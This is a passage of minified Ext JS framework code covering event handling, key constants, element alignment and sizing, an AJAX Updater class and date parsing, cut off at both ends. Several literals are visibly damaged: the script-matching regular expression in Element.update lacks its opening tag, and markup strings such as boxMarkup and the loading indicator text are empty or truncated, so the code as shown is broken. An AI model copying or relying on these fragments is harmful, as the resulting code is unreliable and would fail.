return{_unload:function () { Ext.EventManager.un(window, "resize", this.fireWindowResize, this); c.call(Ext.EventManager) }, doResizeEvent:function () { var m = a.getViewHeight(), l = a.getViewWidth(); if (h != m || i != l) { d.fire(i = l, h = m) } }, onWindowResize:function (n, m, l) { if (!d) { d = new Ext.util.Event(); k = new Ext.util.DelayedTask(this.doResizeEvent); Ext.EventManager.on(window, "resize", this.fireWindowResize, this) } d.addListener(n, m, l) }, fireWindowResize:function () { if (d) { k.delay(100) } }, onTextResize:function (o, n, l) { if (!g) { g = new Ext.util.Event(); var m = new Ext.Element(document.createElement("div")); m.dom.className = "x-text-resize"; m.dom.innerHTML = "X"; m.appendTo(document.body); b = m.dom.offsetHeight; setInterval(function () { if (m.dom.offsetHeight != b) { g.fire(b, b = m.dom.offsetHeight) } }, this.textResizeInterval) } g.addListener(o, n, l) }, removeResizeListener:function (m, l) { if (d) { d.removeListener(m, l) } }, fireResize:function () { if (d) { d.fire(a.getViewWidth(), a.getViewHeight()) } }, textResizeInterval:50, ieDeferSrc:false, getKeyEvent:function () { return e ? "keydown" : "keypress" }, useKeydown:e} }()); Ext.EventManager.on = Ext.EventManager.addListener; Ext.apply(Ext.EventObjectImpl.prototype, {BACKSPACE:8, TAB:9, NUM_CENTER:12, ENTER:13, RETURN:13, SHIFT:16, CTRL:17, CONTROL:17, ALT:18, PAUSE:19, CAPS_LOCK:20, ESC:27, SPACE:32, PAGE_UP:33, PAGEUP:33, PAGE_DOWN:34, PAGEDOWN:34, END:35, HOME:36, LEFT:37, UP:38, RIGHT:39, DOWN:40, PRINT_SCREEN:44, INSERT:45, DELETE:46, ZERO:48, ONE:49, TWO:50, THREE:51, FOUR:52, FIVE:53, SIX:54, SEVEN:55, EIGHT:56, NINE:57, A:65, B:66, C:67, D:68, E:69, F:70, G:71, H:72, I:73, J:74, K:75, L:76, M:77, N:78, O:79, P:80, Q:81, R:82, S:83, T:84, U:85, V:86, W:87, X:88, Y:89, Z:90, CONTEXT_MENU:93, NUM_ZERO:96, NUM_ONE:97, NUM_TWO:98, NUM_THREE:99, NUM_FOUR:100, NUM_FIVE:101, NUM_SIX:102, NUM_SEVEN:103, NUM_EIGHT:104, NUM_NINE:105, NUM_MULTIPLY:106, NUM_PLUS:107, NUM_MINUS:109, NUM_PERIOD:110, NUM_DIVISION:111, F1:112, F2:113, F3:114, F4:115, F5:116, F6:117, F7:118, F8:119, F9:120, F10:121, F11:122, F12:123, isNavKeyPress:function () { var b = this, a = this.normalizeKey(b.keyCode); return(a >= 33 && a <= 40) || a == b.RETURN || a == b.TAB || a == b.ESC }, isSpecialKey:function () { var a = this.normalizeKey(this.keyCode); return(this.type == "keypress" && this.ctrlKey) || this.isNavKeyPress() || (a == this.BACKSPACE) || (a >= 16 && a <= 20) || (a >= 44 && a <= 46) }, getPoint:function () { return new Ext.lib.Point(this.xy[0], this.xy[1]) }, hasModifier:function () { return((this.ctrlKey || this.altKey) || this.shiftKey) }}); Ext.Element.addMethods({swallowEvent:function (a, b) { var d = this; function c(g) { g.stopPropagation(); if (b) { g.preventDefault() } } if (Ext.isArray(a)) { Ext.each(a, function (g) { d.on(g, c) }); return d } d.on(a, c); return d }, relayEvent:function (a, b) { this.on(a, function (c) { b.fireEvent(a, c) }) }, clean:function (b) { var d = this, e = d.dom, g = e.firstChild, c = -1; if (Ext.Element.data(e, "isCleaned") && b !== true) { return d } while (g) { var a = g.nextSibling; if (g.nodeType == 3 && !(/\S/.test(g.nodeValue))) { e.removeChild(g) } else { g.nodeIndex = ++c } g = a } Ext.Element.data(e, "isCleaned", true); return d }, load:function () { var a = this.getUpdater(); a.update.apply(a, arguments); return this }, getUpdater:function () { return this.updateManager || (this.updateManager = new Ext.Updater(this)) }, update:function (html, loadScripts, callback) { if (!this.dom) { return this } html = html || ""; if (loadScripts !== true) { this.dom.innerHTML = html; if (typeof callback == "function") { callback() } return this } var id = Ext.id(), dom = this.dom; html += ''; Ext.lib.Event.onAvailable(id, function () { var DOC = document, hd = DOC.getElementsByTagName("head")[0], re = /(?:]*)?>)((\n|\r|.)*?)(?:<\/script>)/ig, srcRe = /\ssrc=([\'\"])(.*?)\1/i, typeRe = /\stype=([\'\"])(.*?)\1/i, match, attrs, srcMatch, typeMatch, el, s; while ((match = re.exec(html))) { attrs = match[1]; srcMatch = attrs ? attrs.match(srcRe) : false; if (srcMatch && srcMatch[2]) { s = DOC.createElement("script"); s.src = srcMatch[2]; typeMatch = attrs.match(typeRe); if (typeMatch && typeMatch[2]) { s.type = typeMatch[2] } hd.appendChild(s) } else { if (match[2] && match[2].length > 0) { if (window.execScript) { window.execScript(match[2]) } else { window.eval(match[2]) } } } } el = DOC.getElementById(id); if (el) { Ext.removeNode(el) } if (typeof callback == "function") { callback() } }); dom.innerHTML = html.replace(/(?:)((\n|\r|.)*?)(?:<\/script>)/ig, ""); return this }, removeAllListeners:function () { this.removeAnchor(); Ext.EventManager.removeAll(this.dom); return this }, createProxy:function (a, e, d) { a = (typeof a == "object") ? a : {tag:"div", cls:a}; var c = this, b = e ? Ext.DomHelper.append(e, a, true) : Ext.DomHelper.insertBefore(c.dom, a, true); if (d && c.setBox && c.getBox) { b.setBox(c.getBox()) } return b }}); Ext.Element.prototype.getUpdateManager = Ext.Element.prototype.getUpdater; Ext.Element.addMethods({getAnchorXY:function (e, l, q) { e = (e || "tl").toLowerCase(); q = q || {}; var k = this, b = k.dom == document.body || k.dom == document, n = q.width || b ? Ext.lib.Dom.getViewWidth() : k.getWidth(), i = q.height || b ? Ext.lib.Dom.getViewHeight() : k.getHeight(), p, a = Math.round, c = k.getXY(), m = k.getScroll(), j = b ? m.left : !l ? c[0] : 0, g = b ? m.top : !l ? c[1] : 0, d = {c:[a(n * 0.5), a(i * 0.5)], t:[a(n * 0.5), 0], l:[0, a(i * 0.5)], r:[n, a(i * 0.5)], b:[a(n * 0.5), i], tl:[0, 0], bl:[0, i], br:[n, i], tr:[n, 0]}; p = d[e]; return[p[0] + j, p[1] + g] }, anchorTo:function (b, h, c, a, k, l) { var i = this, e = i.dom, j = !Ext.isEmpty(k), d = function () { Ext.fly(e).alignTo(b, h, c, a); Ext.callback(l, Ext.fly(e)) }, g = this.getAnchor(); this.removeAnchor(); Ext.apply(g, {fn:d, scroll:j}); Ext.EventManager.onWindowResize(d, null); if (j) { Ext.EventManager.on(window, "scroll", d, null, {buffer:!isNaN(k) ? k : 50}) } d.call(i); return i }, removeAnchor:function () { var b = this, a = this.getAnchor(); if (a && a.fn) { Ext.EventManager.removeResizeListener(a.fn); if (a.scroll) { Ext.EventManager.un(window, "scroll", a.fn) } delete a.fn } return b }, getAnchor:function () { var b = Ext.Element.data, c = this.dom; if (!c) { return } var a = b(c, "_anchor"); if (!a) { a = b(c, "_anchor", {}) } return a }, getAlignToXY:function (g, A, B) { g = Ext.get(g); if (!g || !g.dom) { throw"Element.alignToXY with an element that doesn't exist" } B = B || [0, 0]; A = (!A || A == "?" ? "tl-bl?" : (!(/-/).test(A) && A !== "" ? "tl-" + A : A || "tl-bl")).toLowerCase(); var K = this, H = K.dom, M, L, n, l, s, F, v, t = Ext.lib.Dom.getViewWidth() - 10, G = Ext.lib.Dom.getViewHeight() - 10, b, i, j, k, u, z, N = document, J = N.documentElement, q = N.body, E = (J.scrollLeft || q.scrollLeft || 0) + 5, D = (J.scrollTop || q.scrollTop || 0) + 5, I = false, e = "", a = "", C = A.match(/^([a-z]+)-([a-z]+)(\?)?$/); if (!C) { throw"Element.alignTo with an invalid alignment " + A } e = C[1]; a = C[2]; I = !!C[3]; M = K.getAnchorXY(e, true); L = g.getAnchorXY(a, false); n = L[0] - M[0] + B[0]; l = L[1] - M[1] + B[1]; if (I) { s = K.getWidth(); F = K.getHeight(); v = g.getRegion(); b = e.charAt(0); i = e.charAt(e.length - 1); j = a.charAt(0); k = a.charAt(a.length - 1); u = ((b == "t" && j == "b") || (b == "b" && j == "t")); z = ((i == "r" && k == "l") || (i == "l" && k == "r")); if (n + s > t + E) { n = z ? v.left - s : t + E - s } if (n < E) { n = z ? v.right : E } if (l + F > G + D) { l = u ? v.top - F : G + D - F } if (l < D) { l = u ? v.bottom : D } } return[n, l] }, alignTo:function (c, a, e, b) { var d = this; return d.setXY(d.getAlignToXY(c, a, e), d.preanim && !!b ? d.preanim(arguments, 3) : false) }, adjustForConstraints:function (c, a, b) { return this.getConstrainToXY(a || document, false, b, c) || c }, getConstrainToXY:function (b, a, c, e) { var d = {top:0, left:0, bottom:0, right:0}; return function (i, A, l, n) { i = Ext.get(i); l = l ? Ext.applyIf(l, d) : d; var z, D, v = 0, u = 0; if (i.dom == document.body || i.dom == document) { z = Ext.lib.Dom.getViewWidth(); D = Ext.lib.Dom.getViewHeight() } else { z = i.dom.clientWidth; D = i.dom.clientHeight; if (!A) { var t = i.getXY(); v = t[0]; u = t[1] } } var r = i.getScroll(); v += l.left + r.left; u += l.top + r.top; z -= l.right; D -= l.bottom; var B = v + z, g = u + D, j = n || (!A ? this.getXY() : [this.getLeft(true), this.getTop(true)]), p = j[0], o = j[1], k = this.getConstrainOffset(), q = this.dom.offsetWidth + k, C = this.dom.offsetHeight + k; var m = false; if ((p + q) > B) { p = B - q; m = true } if ((o + C) > g) { o = g - C; m = true } if (p < v) { p = v; m = true } if (o < u) { o = u; m = true } return m ? [p, o] : false } }(), getConstrainOffset:function () { return 0 }, getCenterXY:function () { return this.getAlignToXY(document, "c-c") }, center:function (a) { return this.alignTo(a || document, "c-c") }}); Ext.Element.addMethods({select:function (a, b) { return Ext.Element.select(a, b, this.dom) }}); Ext.apply(Ext.Element.prototype, function () { var c = Ext.getDom, a = Ext.get, b = Ext.DomHelper; return{insertSibling:function (i, g, h) { var j = this, e, d = (g || "before").toLowerCase() == "after", k; if (Ext.isArray(i)) { k = j; Ext.each(i, function (l) { e = Ext.fly(k, "_internal").insertSibling(l, g, h); if (d) { k = e } }); return e } i = i || {}; if (i.nodeType || i.dom) { e = j.dom.parentNode.insertBefore(c(i), d ? j.dom.nextSibling : j.dom); if (!h) { e = a(e) } } else { if (d && !j.dom.nextSibling) { e = b.append(j.dom.parentNode, i, !h) } else { e = b[d ? "insertAfter" : "insertBefore"](j.dom, i, !h) } } return e }} }()); Ext.Element.boxMarkup = '
'; Ext.Element.addMethods(function () { var a = "_internal", b = /(\d+\.?\d+)px/; return{applyStyles:function (c) { Ext.DomHelper.applyStyles(this.dom, c); return this }, getStyles:function () { var c = {}; Ext.each(arguments, function (d) { c[d] = this.getStyle(d) }, this); return c }, setOverflow:function (c) { var d = this.dom; if (c == "auto" && Ext.isMac && Ext.isGecko2) { d.style.overflow = "hidden"; (function () { d.style.overflow = "auto" }).defer(1) } else { d.style.overflow = c } }, boxWrap:function (c) { c = c || "x-box"; var d = Ext.get(this.insertHtml("beforeBegin", "
" + String.format(Ext.Element.boxMarkup, c) + "
")); Ext.DomQuery.selectNode("." + c + "-mc", d.dom).appendChild(this.dom); return d }, setSize:function (e, c, d) { var g = this; if (typeof e == "object") { c = e.height; e = e.width } e = g.adjustWidth(e); c = g.adjustHeight(c); if (!d || !g.anim) { g.dom.style.width = g.addUnits(e); g.dom.style.height = g.addUnits(c) } else { g.anim({width:{to:e}, height:{to:c}}, g.preanim(arguments, 2)) } return g }, getComputedHeight:function () { var d = this, c = Math.max(d.dom.offsetHeight, d.dom.clientHeight); if (!c) { c = parseFloat(d.getStyle("height")) || 0; if (!d.isBorderBox()) { c += d.getFrameWidth("tb") } } return c }, getComputedWidth:function () { var c = Math.max(this.dom.offsetWidth, this.dom.clientWidth); if (!c) { c = parseFloat(this.getStyle("width")) || 0; if (!this.isBorderBox()) { c += this.getFrameWidth("lr") } } return c }, getFrameWidth:function (d, c) { return c && this.isBorderBox() ? 0 : (this.getPadding(d) + this.getBorderWidth(d)) }, addClassOnOver:function (c) { this.hover(function () { Ext.fly(this, a).addClass(c) }, function () { Ext.fly(this, a).removeClass(c) }); return this }, addClassOnFocus:function (c) { this.on("focus", function () { Ext.fly(this, a).addClass(c) }, this.dom); this.on("blur", function () { Ext.fly(this, a).removeClass(c) }, this.dom); return this }, addClassOnClick:function (c) { var d = this.dom; this.on("mousedown", function () { Ext.fly(d, a).addClass(c); var g = Ext.getDoc(), e = function () { Ext.fly(d, a).removeClass(c); g.removeListener("mouseup", e) }; g.on("mouseup", e) }); return this }, getViewSize:function () { var g = document, h = this.dom, c = (h == g || h == g.body); if (c) { var e = Ext.lib.Dom; return{width:e.getViewWidth(), height:e.getViewHeight()} } else { return{width:h.clientWidth, height:h.clientHeight} } }, getStyleSize:function () { var j = this, c, i, l = document, m = this.dom, e = (m == l || m == l.body), g = m.style; if (e) { var k = Ext.lib.Dom; return{width:k.getViewWidth(), height:k.getViewHeight()} } if (g.width && g.width != "auto") { c = parseFloat(g.width); if (j.isBorderBox()) { c -= j.getFrameWidth("lr") } } if (g.height && g.height != "auto") { i = parseFloat(g.height); if (j.isBorderBox()) { i -= j.getFrameWidth("tb") } } return{width:c || j.getWidth(true), height:i || j.getHeight(true)} }, getSize:function (c) { return{width:this.getWidth(c), height:this.getHeight(c)} }, repaint:function () { var c = this.dom; this.addClass("x-repaint"); setTimeout(function () { Ext.fly(c).removeClass("x-repaint") }, 1); return this }, unselectable:function () { this.dom.unselectable = "on"; return this.swallowEvent("selectstart", true).applyStyles("-moz-user-select:none;-khtml-user-select:none;").addClass("x-unselectable") }, getMargins:function (d) { var e = this, c, g = {t:"top", l:"left", r:"right", b:"bottom"}, h = {}; if (!d) { for (c in e.margins) { h[g[c]] = parseFloat(e.getStyle(e.margins[c])) || 0 } return h } else { return e.addStyles.call(e, d, e.margins) } }} }()); Ext.Element.addMethods({setBox:function (e, g, b) { var d = this, a = e.width, c = e.height; if ((g && !d.autoBoxAdjust) && !d.isBorderBox()) { a -= (d.getBorderWidth("lr") + d.getPadding("lr")); c -= (d.getBorderWidth("tb") + d.getPadding("tb")) } d.setBounds(e.x, e.y, a, c, d.animTest.call(d, arguments, b, 2)); return d }, getBox:function (j, p) { var m = this, v, e, o, d = m.getBorderWidth, q = m.getPadding, g, a, u, n; if (!p) { v = m.getXY() } else { e = parseInt(m.getStyle("left"), 10) || 0; o = parseInt(m.getStyle("top"), 10) || 0; v = [e, o] } var c = m.dom, s = c.offsetWidth, i = c.offsetHeight, k; if (!j) { k = {x:v[0], y:v[1], 0:v[0], 1:v[1], width:s, height:i} } else { g = d.call(m, "l") + q.call(m, "l"); a = d.call(m, "r") + q.call(m, "r"); u = d.call(m, "t") + q.call(m, "t"); n = d.call(m, "b") + q.call(m, "b"); k = {x:v[0] + g, y:v[1] + u, 0:v[0] + g, 1:v[1] + u, width:s - (g + a), height:i - (u + n)} } k.right = k.x + k.width; k.bottom = k.y + k.height; return k }, move:function (j, b, c) { var g = this, m = g.getXY(), k = m[0], i = m[1], d = [k - b, i], l = [k + b, i], h = [k, i - b], a = [k, i + b], e = {l:d, left:d, r:l, right:l, t:h, top:h, up:h, b:a, bottom:a, down:a}; j = j.toLowerCase(); g.moveTo(e[j][0], e[j][1], g.animTest.call(g, arguments, c, 2)) }, setLeftTop:function (d, c) { var b = this, a = b.dom.style; a.left = b.addUnits(d); a.top = b.addUnits(c); return b }, getRegion:function () { return Ext.lib.Dom.getRegion(this.dom) }, setBounds:function (b, g, d, a, c) { var e = this; if (!c || !e.anim) { e.setSize(d, a); e.setLocation(b, g) } else { e.anim({points:{to:[b, g]}, width:{to:e.adjustWidth(d)}, height:{to:e.adjustHeight(a)}}, e.preanim(arguments, 4), "motion") } return e }, setRegion:function (b, a) { return this.setBounds(b.left, b.top, b.right - b.left, b.bottom - b.top, this.animTest.call(this, arguments, a, 1)) }}); Ext.Element.addMethods({scrollTo:function (b, d, a) { var e = /top/i.test(b), c = this, g = c.dom, h; if (!a || !c.anim) { h = "scroll" + (e ? "Top" : "Left"); g[h] = d } else { h = "scroll" + (e ? "Left" : "Top"); c.anim({scroll:{to:e ? [g[h], d] : [d, g[h]]}}, c.preanim(arguments, 2), "scroll") } return c }, scrollIntoView:function (e, i) { var p = Ext.getDom(e) || Ext.getBody().dom, h = this.dom, g = this.getOffsetsTo(p), k = g[0] + p.scrollLeft, u = g[1] + p.scrollTop, q = u + h.offsetHeight, d = k + h.offsetWidth, a = p.clientHeight, m = parseInt(p.scrollTop, 10), s = parseInt(p.scrollLeft, 10), j = m + a, n = s + p.clientWidth; if (h.offsetHeight > a || u < m) { p.scrollTop = u } else { if (q > j) { p.scrollTop = q - a } } p.scrollTop = p.scrollTop; if (i !== false) { if (h.offsetWidth > p.clientWidth || k < s) { p.scrollLeft = k } else { if (d > n) { p.scrollLeft = d - p.clientWidth } } p.scrollLeft = p.scrollLeft } return this }, scrollChildIntoView:function (b, a) { Ext.fly(b, "_scrollChildIntoView").scrollIntoView(this, a) }, scroll:function (m, b, d) { if (!this.isScrollable()) { return false } var e = this.dom, g = e.scrollLeft, p = e.scrollTop, n = e.scrollWidth, k = e.scrollHeight, i = e.clientWidth, a = e.clientHeight, c = false, o, j = {l:Math.min(g + b, n - i), r:o = Math.max(g - b, 0), t:Math.max(p - b, 0), b:Math.min(p + b, k - a)}; j.d = j.b; j.u = j.t; m = m.substr(0, 1); if ((o = j[m]) > -1) { c = true; this.scrollTo(m == "l" || m == "r" ? "left" : "top", o, this.preanim(arguments, 2)) } return c }}); Ext.Element.addMethods(function () { var d = "visibility", b = "display", a = "hidden", h = "none", c = "x-masked", g = "x-masked-relative", e = Ext.Element.data; return{isVisible:function (i) { var j = !this.isStyle(d, a) && !this.isStyle(b, h), k = this.dom.parentNode; if (i !== true || !j) { return j } while (k && !(/^body/i.test(k.tagName))) { if (!Ext.fly(k, "_isVisible").isVisible()) { return false } k = k.parentNode } return true }, isDisplayed:function () { return !this.isStyle(b, h) }, enableDisplayMode:function (i) { this.setVisibilityMode(Ext.Element.DISPLAY); if (!Ext.isEmpty(i)) { e(this.dom, "originalDisplay", i) } return this }, mask:function (j, n) { var p = this, l = p.dom, o = Ext.DomHelper, m = "ext-el-mask-msg", i, q; if (!/^body/i.test(l.tagName) && p.getStyle("position") == "static") { p.addClass(g) } if (i = e(l, "maskMsg")) { i.remove() } if (i = e(l, "mask")) { i.remove() } q = o.append(l, {cls:"ext-el-mask"}, true); e(l, "mask", q); p.addClass(c); q.setDisplayed(true); if (typeof j == "string") { var k = o.append(l, {cls:m, cn:{tag:"div"}}, true); e(l, "maskMsg", k); k.dom.className = n ? m + " " + n : m; k.dom.firstChild.innerHTML = j; k.setDisplayed(true); k.center(p) } if (Ext.isIE && !(Ext.isIE7 && Ext.isStrict) && p.getStyle("height") == "auto") { q.setSize(undefined, p.getHeight()) } return q }, unmask:function () { var k = this, l = k.dom, i = e(l, "mask"), j = e(l, "maskMsg"); if (i) { if (j) { j.remove(); e(l, "maskMsg", undefined) } i.remove(); e(l, "mask", undefined); k.removeClass([c, g]) } }, isMasked:function () { var i = e(this.dom, "mask"); return i && i.isVisible() }, createShim:function () { var i = document.createElement("iframe"), j; i.frameBorder = "0"; i.className = "ext-shim"; i.src = Ext.SSL_SECURE_URL; j = Ext.get(this.dom.parentNode.insertBefore(i, this.dom)); j.autoBoxAdjust = false; return j }} }()); Ext.Element.addMethods({addKeyListener:function (b, d, c) { var a; if (typeof b != "object" || Ext.isArray(b)) { a = {key:b, fn:d, scope:c} } else { a = {key:b.key, shift:b.shift, ctrl:b.ctrl, alt:b.alt, fn:d, scope:c} } return new Ext.KeyMap(this, a) }, addKeyMap:function (a) { return new Ext.KeyMap(this, a) }}); Ext.CompositeElementLite.importElementMethods(); Ext.apply(Ext.CompositeElementLite.prototype, {addElements:function (c, a) { if (!c) { return this } if (typeof c == "string") { c = Ext.Element.selectorFunction(c, a) } var b = this.elements; Ext.each(c, function (d) { b.push(Ext.get(d)) }); return this }, first:function () { return this.item(0) }, last:function () { return this.item(this.getCount() - 1) }, contains:function (a) { return this.indexOf(a) != -1 }, removeElement:function (d, e) { var c = this, a = this.elements, b; Ext.each(d, function (g) { if ((b = (a[g] || a[g = c.indexOf(g)]))) { if (e) { if (b.dom) { b.remove() } else { Ext.removeNode(b) } } a.splice(g, 1) } }); return this }}); Ext.CompositeElement = Ext.extend(Ext.CompositeElementLite, {constructor:function (b, a) { this.elements = []; this.add(b, a) }, getElement:function (a) { return a }, transformElement:function (a) { return Ext.get(a) }}); Ext.Element.select = function (a, d, b) { var c; if (typeof a == "string") { c = Ext.Element.selectorFunction(a, b) } else { if (a.length !== undefined) { c = a } else { throw"Invalid selector" } } return(d === true) ? new Ext.CompositeElement(c) : new Ext.CompositeElementLite(c) }; Ext.select = Ext.Element.select; Ext.UpdateManager = Ext.Updater = Ext.extend(Ext.util.Observable, function () { var b = "beforeupdate", d = "update", c = "failure"; function a(h) { var i = this; i.transaction = null; if (h.argument.form && h.argument.reset) { try { h.argument.form.reset() } catch (j) { } } if (i.loadScripts) { i.renderer.render(i.el, h, i, g.createDelegate(i, [h])) } else { i.renderer.render(i.el, h, i); g.call(i, h) } } function g(h, i, j) { this.fireEvent(i || d, this.el, h); if (Ext.isFunction(h.argument.callback)) { h.argument.callback.call(h.argument.scope, this.el, Ext.isEmpty(j) ? true : false, h, h.argument.options) } } function e(h) { g.call(this, h, c, !!(this.transaction = null)) } return{constructor:function (i, h) { var j = this; i = Ext.get(i); if (!h && i.updateManager) { return i.updateManager } j.el = i; j.defaultUrl = null; j.addEvents(b, d, c); Ext.apply(j, Ext.Updater.defaults); j.transaction = null; j.refreshDelegate = j.refresh.createDelegate(j); j.updateDelegate = j.update.createDelegate(j); j.formUpdateDelegate = (j.formUpdate || function () { }).createDelegate(j); j.renderer = j.renderer || j.getDefaultRenderer(); Ext.Updater.superclass.constructor.call(j) }, setRenderer:function (h) { this.renderer = h }, getRenderer:function () { return this.renderer }, getDefaultRenderer:function () { return new Ext.Updater.BasicRenderer() }, setDefaultUrl:function (h) { this.defaultUrl = h }, getEl:function () { return this.el }, update:function (i, n, p, l) { var k = this, h, j; if (k.fireEvent(b, k.el, i, n) !== false) { if (Ext.isObject(i)) { h = i; i = h.url; n = n || h.params; p = p || h.callback; l = l || h.discardUrl; j = h.scope; if (!Ext.isEmpty(h.nocache)) { k.disableCaching = h.nocache } if (!Ext.isEmpty(h.text)) { k.indicatorText = '
' + h.text + "
" } if (!Ext.isEmpty(h.scripts)) { k.loadScripts = h.scripts } if (!Ext.isEmpty(h.timeout)) { k.timeout = h.timeout } } k.showLoading(); if (!l) { k.defaultUrl = i } if (Ext.isFunction(i)) { i = i.call(k) } var m = Ext.apply({}, {url:i, params:(Ext.isFunction(n) && j) ? n.createDelegate(j) : n, success:a, failure:e, scope:k, callback:undefined, timeout:(k.timeout * 1000), disableCaching:k.disableCaching, argument:{options:h, url:i, form:null, callback:p, scope:j || window, params:n}}, h); k.transaction = Ext.Ajax.request(m) } }, formUpdate:function (k, h, j, l) { var i = this; if (i.fireEvent(b, i.el, k, h) !== false) { if (Ext.isFunction(h)) { h = h.call(i) } k = Ext.getDom(k); i.transaction = Ext.Ajax.request({form:k, url:h, success:a, failure:e, scope:i, timeout:(i.timeout * 1000), argument:{url:h, form:k, callback:l, reset:j}}); i.showLoading.defer(1, i) } }, startAutoRefresh:function (i, j, l, m, h) { var k = this; if (h) { k.update(j || k.defaultUrl, l, m, true) } if (k.autoRefreshProcId) { clearInterval(k.autoRefreshProcId) } k.autoRefreshProcId = setInterval(k.update.createDelegate(k, [j || k.defaultUrl, l, m, true]), i * 1000) }, stopAutoRefresh:function () { if (this.autoRefreshProcId) { clearInterval(this.autoRefreshProcId); delete this.autoRefreshProcId } }, isAutoRefreshing:function () { return !!this.autoRefreshProcId }, showLoading:function () { if (this.showLoadIndicator) { this.el.dom.innerHTML = this.indicatorText } }, abort:function () { if (this.transaction) { Ext.Ajax.abort(this.transaction) } }, isUpdating:function () { return this.transaction ? Ext.Ajax.isLoading(this.transaction) : false }, refresh:function (h) { if (this.defaultUrl) { this.update(this.defaultUrl, null, h, true) } }} }()); Ext.Updater.defaults = {timeout:30, disableCaching:false, showLoadIndicator:true, indicatorText:'
Loading...
', loadScripts:false, sslBlankUrl:Ext.SSL_SECURE_URL}; Ext.Updater.updateElement = function (d, c, e, b) { var a = Ext.get(d).getUpdater(); Ext.apply(a, b); a.update(c, e, b ? b.callback : null) }; Ext.Updater.BasicRenderer = function () { }; Ext.Updater.BasicRenderer.prototype = {render:function (c, a, b, d) { c.update(a.responseText, b.loadScripts, d) }}; (function () { Date.useStrict = false; function b(d) { var c = Array.prototype.slice.call(arguments, 1); return d.replace(/\{(\d+)\}/g, function (e, g) { return c[g] }) } Date.formatCodeToRegex = function (d, c) { var e = Date.parseCodes[d]; if (e) { e = typeof e == "function" ? e() : e; Date.parseCodes[d] = e } return e ? Ext.applyIf({c:e.c ? b(e.c, c || "{0}") : e.c}, e) : {g:0, c:null, s:Ext.escapeRe(d)} }; var a = Date.formatCodeToRegex; Ext.apply(Date, {parseFunctions:{"M$":function (d, c) { var e = new RegExp("\\/Date\\(([-+])?(\\d+)(?:[+-]\\d{4})?\\)\\/"); var g = (d || "").match(e); return g ? new Date(((g[1] || "") + g[2]) * 1) : null }}, parseRegexes:[], formatFunctions:{"M$":function () { return"\\/Date(" + this.getTime() + ")\\/" }}, y2kYear:50, MILLI:"ms", SECOND:"s", MINUTE:"mi", HOUR:"h", DAY:"d", MONTH:"mo", YEAR:"y", defaults:{}, dayNames:["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"], monthNames:["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"], monthNumbers:{Jan:0, Feb:1, Mar:2, Apr:3, May:4, Jun:5, Jul:6, Aug:7, Sep:8, Oct:9, Nov:10, Dec:11}, getShortMonthName:function (c) { return Date.monthNames[c].substring(0, 3) }, getShortDayName:function (c) { return Date.dayNames[c].substring(0, 3) }, getMonthNumber:function (c) { return Date.monthNumbers[c.substring(0, 1).toUpperCase() + c.substring(1, 3).toLowerCase()] }, formatContainsHourInfo:(function () { var d = /(\\.)/g, c = /([gGhHisucUOPZ]|M\$)/; return function (e) { return c.test(e.replace(d, "")) } })(), formatCodes:{d:"String.leftPad(this.getDate(), 2, '0')", D:"Date.getShortDayName(this.getDay())", j:"this.getDate()", l:"Date.dayNames[this.getDay()]", N:"(this.getDay() ? this.getDay() : 7)", S:"this.getSuffix()", w:"this.getDay()", z:"this.getDayOfYear()", W:"String.leftPad(this.getWeekOfYear(), 2, '0')", F:"Date.monthNames[this.getMonth()]", m:"String.leftPad(this.getMonth() + 1, 2, '0')", M:"Date.getShortMonthName(this.getMonth())", n:"(this.getMonth() + 1)", t:"this.getDaysInMonth()", L:"(this.isLeapYear() ? 1 : 0)", o:"(this.getFullYear() + (this.getWeekOfYear() == 1 && this.getMonth() > 0 ? +1 : (this.getWeekOfYear() >= 52 && this.getMonth() < 11 ? -1 : 0)))", Y:"String.leftPad(this.getFullYear(), 4, '0')", y:"('' + this.getFullYear()).substring(2, 4)", a:"(this.getHours() < 12 ? 'am' : 'pm')", A:"(this.getHours() < 12 ? 'AM' : 'PM')", g:"((this.getHours() % 12) ? this.getHours() % 12 : 12)", G:"this.getHours()", h:"String.leftPad((this.getHours() % 12) ? this.getHours() % 12 : 12, 2, '0')", H:"String.leftPad(this.getHours(), 2, '0')", i:"String.leftPad(this.getMinutes(), 2, '0')", s:"String.leftPad(this.getSeconds(), 2, '0')", u:"String.leftPad(this.getMilliseconds(), 3, '0')", O:"this.getGMTOffset()", P:"this.getGMTOffset(true)", T:"this.getTimezone()", Z:"(this.getTimezoneOffset() * -60)", c:function () { for (var k = "Y-m-dTH:i:sP", h = [], g = 0, d = k.length; g < d; ++g) { var j = k.charAt(g); h.push(j == "T" ? "'T'" : Date.getFormatCode(j)) } return h.join(" + ") }, U:"Math.round(this.getTime() / 1000)"}, isValid:function (o, c, n, k, g, j, e) { k = k || 0; g = g || 0; j = j || 0; e = e || 0; var l = new Date(o < 100 ? 100 : o, c - 1, n, k, g, j, e).add(Date.YEAR, o < 100 ? o - 100 : 0); return o == l.getFullYear() && c == l.getMonth() + 1 && n == l.getDate() && k == l.getHours() && g == l.getMinutes() && j == l.getSeconds() && e == l.getMilliseconds() }, parseDate:function (d, g, c) { var e = Date.parseFunctions; if (e[g] == null) { Date.createParser(g) } return e[g](d, Ext.isDefined(c) ? c : Date.useStrict) }, getFormatCode:function (d) { var c = Date.formatCodes[d]; if (c) { c = typeof c == "function" ? c() : c; Date.formatCodes[d] = c } return c || ("'" + String.escape(d) + "'") }, createFormat:function (h) { var g = [], c = false, e = ""; for (var d = 0; d < h.length; ++d) { e = h.charAt(d); if (!c && e == "\\") { c = true } else { if (c) { c = false; g.push("'" + String.escape(e) + "'") } else { g.push(Date.getFormatCode(e)) } } } Date.formatFunctions[h] = new Function("return " + g.join("+")) }, createParser:function () { var c = ["var dt, y, m, d, h, i, s, ms, o, z, zz, u, v,", "def = Date.defaults,", "results = String(input).match(Date.parseRegexes[{0}]);", "if(results){", "{1}", "if(u != null){", "v = new Date(u * 1000);", "}else{", "dt = (new Date()).clearTime();", "y = Ext.num(y, Ext.num(def.y, dt.getFullYear()));", "m = Ext.num(m, Ext.num(def.m - 1, dt.getMonth()));", "d = Ext.num(d, Ext.num(def.d, dt.getDate()));", "h = Ext.num(h, Ext.num(def.h, dt.getHours()));", "i = Ext.num(i, Ext.num(def.i, dt.getMinutes()));", "s = Ext.num(s, Ext.num(def.s, dt.getSeconds()));", "ms = Ext.num(ms, Ext.num(def.ms, dt.getMilliseconds()));", "if(z >= 0 && y >= 0){", "v = new Date(y < 100 ? 100 : y, 0, 1, h, i, s, ms).add(Date.YEAR, y < 100 